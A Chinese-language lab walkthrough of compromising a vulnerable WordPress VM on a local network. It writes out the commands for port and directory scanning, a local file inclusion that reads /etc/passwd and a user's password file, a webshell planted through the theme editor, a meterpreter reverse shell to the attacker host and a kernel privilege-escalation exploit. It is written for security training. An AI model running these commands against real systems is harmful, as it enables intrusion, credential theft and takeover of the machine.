原创:safe6合天智汇
原创投稿活动:
http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ
Ip:192.168.0.115
Kali:192.168.0.21
安装好的靶机界面
![327e502c0738a57eb4b22d958023a901.png](https://img-blog.csdnimg.cn/img_convert/327e502c0738a57eb4b22d958023a901.png)
Nmap扫描端口
【注:Nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。Nmap扫描相关的信息可以到合天网安实验室操作实验——Nmap网络扫描,http://www.hetianlab.com/expc.do?ec=ECIDee9320adea6e062017110717273100001
nmap-sV -A 192.168.0.115
![c690c0bf1e2ba0e311bc237760cadf4d.png](https://img-blog.csdnimg.cn/img_convert/c690c0bf1e2ba0e311bc237760cadf4d.png)
发现只开了80和22端口,直接从80入口
![9d28da88f45ba9a96e896a0d3b5dd6ae.png](https://img-blog.csdnimg.cn/img_convert/9d28da88f45ba9a96e896a0d3b5dd6ae.png)
扫描一下目录文件
dirbhttp://192.168.0.115
![defc90f72bf2c0caf09006a7e0a305db.png](https://img-blog.csdnimg.cn/img_convert/defc90f72bf2c0caf09006a7e0a305db.png)
通过目录扫描得到
http://192.168.0.115/dev
http://192.168.0.115/secret.txt
http://192.168.0.115/index.php
http://192.168.0.115/image.php
http://192.168.0.115/wordpress
我习惯先从wordpress入手
访问看看http://192.168.0.115/wordpress
![0a86e5aa601cbb18c005309bb3fda060.png](https://img-blog.csdnimg.cn/img_convert/0a86e5aa601cbb18c005309bb3fda060.png)
对wordpress进行扫描
wpscan--url http://192.168.0.115/wordpress/ --enumerate vt,vp,u
![e7ff5b3b805467fcec2309ba1a264322.png](https://img-blog.csdnimg.cn/img_convert/e7ff5b3b805467fcec2309ba1a264322.png)
对wordpress进行扫描
最后只得到如下信息
主题WordPresstheme in use: twentynineteen
版本WordPressversion 5.2.2 identified (Insecure, released on 2019-06-18).
http://192.168.0.115/wordpress/readme.html
用户victor
没发现可以利用漏洞,直接尝试Wp爆破
![b79b808bffced32cf87107fb61556058.png](https://img-blog.csdnimg.cn/img_convert/b79b808bffced32cf87107fb61556058.png)
没成功
继续访问其余扫描到的文件image.php和index.php差不多
![e3783fb2129e240aa3b1b8b1a92bb61c.png](https://img-blog.csdnimg.cn/img_convert/e3783fb2129e240aa3b1b8b1a92bb61c.png)
最后在secret.txt文件里发现了提示
![5433000cd730d1958c98427d80208f07.png](https://img-blog.csdnimg.cn/img_convert/5433000cd730d1958c98427d80208f07.png)
![dbdef33b62c602511ba5ce5f2933a6bf.png](https://img-blog.csdnimg.cn/img_convert/dbdef33b62c602511ba5ce5f2933a6bf.png)
根据github的提示用wfuzz进行测试,最后fuzz出来file参数
![a1267a07b76c66e8a8939dc6472a76a2.png](https://img-blog.csdnimg.cn/img_convert/a1267a07b76c66e8a8939dc6472a76a2.png)
我猜测是应该存在LFI,直接根据secret.txt文件里面提示的包含location.txt获得下一步提示
http://192.168.0.115/?file=location.txt
![0498bddd7109628e90dceec616bdb6d2.png](https://img-blog.csdnimg.cn/img_convert/0498bddd7109628e90dceec616bdb6d2.png)
最近成功得到location.txt内容,里面提示在其他php页面用secrettier360参数,
根据上面dirb得到的image.php进行测试
curlhttp://192.168.0.115/image.php?secrettier360=index.php
先尝试读取index.php发现成功
![27502d84d916b7f956afd77cf4adc56b.png](https://img-blog.csdnimg.cn/img_convert/27502d84d916b7f956afd77cf4adc56b.png)
尝试读取/etc/passwd
curlhttp://192.168.0.115/image.php?secrettier360=/etc/passwd
![a121324ad4e987435c0f995fd64de153.png](https://img-blog.csdnimg.cn/img_convert/a121324ad4e987435c0f995fd64de153.png)
LFI漏洞利用的方法学习可到合天网安实验室操作实验——LFI漏洞攻击实践,http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2016032817180500001
于是继续fuzz,看看有没有什么有价值的文件
wfuzz-w safe6/DownFall-LogList.txt -c --hc 404 --hw 17
http://192.168.0.115/image.php?secrettier360=FUZZ
![f11b50f5e4c5fb9b522e11e2f640d6a1.png](https://img-blog.csdnimg.cn/img_convert/f11b50f5e4c5fb9b522e11e2f640d6a1.png)
本来想找一下wp-config.php文件,fuzz无果回过头来看etc/passwd文件有什么用户,最后又在里面发现了线索(真是细节决定成败啊)
![4ba418c6f1cf79b29dab906b55b1bbbb.png](https://img-blog.csdnimg.cn/img_convert/4ba418c6f1cf79b29dab906b55b1bbbb.png)
看看password.txt文件 curlhttp://192.168.0.115/image.php?secrettier360=/home/saket/password.txt
![7c0bec4fc52ad50a50866d0ee5394a6e.png](https://img-blog.csdnimg.cn/img_convert/7c0bec4fc52ad50a50866d0ee5394a6e.png)
试一试ssh密码,发现是错的
![0e14cf513bbcd6922241db9adc2a8e0b.png](https://img-blog.csdnimg.cn/img_convert/0e14cf513bbcd6922241db9adc2a8e0b.png)
试一试前面拿到的wordpress用户
![f52efeda3967a1da96920385ba5f1473.png](https://img-blog.csdnimg.cn/img_convert/f52efeda3967a1da96920385ba5f1473.png)
没错,我进来了
![e3244a243c5161d407b1623e3c003036.png](https://img-blog.csdnimg.cn/img_convert/e3244a243c5161d407b1623e3c003036.png)
接下来直接拿webshell,打开我们最喜欢的主题编辑器
![727cb5b67ba63ac336aacd06bcb52fb2.png](https://img-blog.csdnimg.cn/img_convert/727cb5b67ba63ac336aacd06bcb52fb2.png)
翻了半天,发现只有secret.php可用
于是乎,msf大法要上演了
生成一个payload放进去
msfvenom-p php/meterpreter_reverse_tcp LHOST=192.168.0.21 LPORT=4444 -oshell.php
![a61b6632003388c203deca477786175d.png](https://img-blog.csdnimg.cn/img_convert/a61b6632003388c203deca477786175d.png)
![24ac690cabd9d4921563cb729bdd4dbc.png](https://img-blog.csdnimg.cn/img_convert/24ac690cabd9d4921563cb729bdd4dbc.png)
保存之后,打开msf
useexploit/multi/handler
setpayload php/meterpreter_reverse_tcp
setlhost 192.168.0.21
setlport 4444
run
![97d547b07cc76523a48751f79473471d.png](https://img-blog.csdnimg.cn/img_convert/97d547b07cc76523a48751f79473471d.png)
浏览器打开
http://192.168.0.115/wordpress/wp-content/themes/twentynineteen/secret.php
![755fb38c957042cfd0a5c8b4e1352ad8.png](https://img-blog.csdnimg.cn/img_convert/755fb38c957042cfd0a5c8b4e1352ad8.png)
![d0459f1d55dd28904b97a7c75b55fb9e.png](https://img-blog.csdnimg.cn/img_convert/d0459f1d55dd28904b97a7c75b55fb9e.png)
MSF相关的学习,可到合天网安实验室学习实验——MSFvenom实践,http://www.hetianlab.com/expc.do?ec=ECID9db0-7e22-486f-a628-023583616a83通过该实验了解msfvenom和metasploit的用法,生成符合自己要求的shellcode,并成功利用shellcode,学会如何与metasploit配合使用。
接下来就是提权了
用python3-c 'import pty; pty.spawn("/bin/bash")'获取个完整交互的shell
![e9ed53f6f681a9d273bbb4d231b0756d.png](https://img-blog.csdnimg.cn/img_convert/e9ed53f6f681a9d273bbb4d231b0756d.png)
切换到tmp目录,看一下内核准备提权(meterpreter里面sysinfo一样)
![d4d701681aba05cbfde02c3a4c63ccb8.png](https://img-blog.csdnimg.cn/img_convert/d4d701681aba05cbfde02c3a4c63ccb8.png)
回到kali搜索searchsploit16.04 Ubuntu
![c811f107ea2b2965530fc9156757d821.png](https://img-blog.csdnimg.cn/img_convert/c811f107ea2b2965530fc9156757d821.png)
我们这里用LinuxKernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local PrivilegeEscalation进行提权
把45010.c拷到当前目录
cp/usr/share/exploitdb/exploits/linux/local/45010.c ./
编译一下gcc45010.c -o root
![499063e7d6eecf24bc0f9fb7341a5dcf.png](https://img-blog.csdnimg.cn/img_convert/499063e7d6eecf24bc0f9fb7341a5dcf.png)
然后exit()退回到meterpreter
上传一下编译好的
![6ded1658c4dc81aac3535912f90c408f.png](https://img-blog.csdnimg.cn/img_convert/6ded1658c4dc81aac3535912f90c408f.png)
./root执行一下
![500d5394044833a82a12b4559f11d1d6.png](https://img-blog.csdnimg.cn/img_convert/500d5394044833a82a12b4559f11d1d6.png)
最后进入root目录拿到flag
![5f8f0ffb307dc94161dda63928330e9c.png](https://img-blog.csdnimg.cn/img_convert/5f8f0ffb307dc94161dda63928330e9c.png)
欢迎各位师傅指点
声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!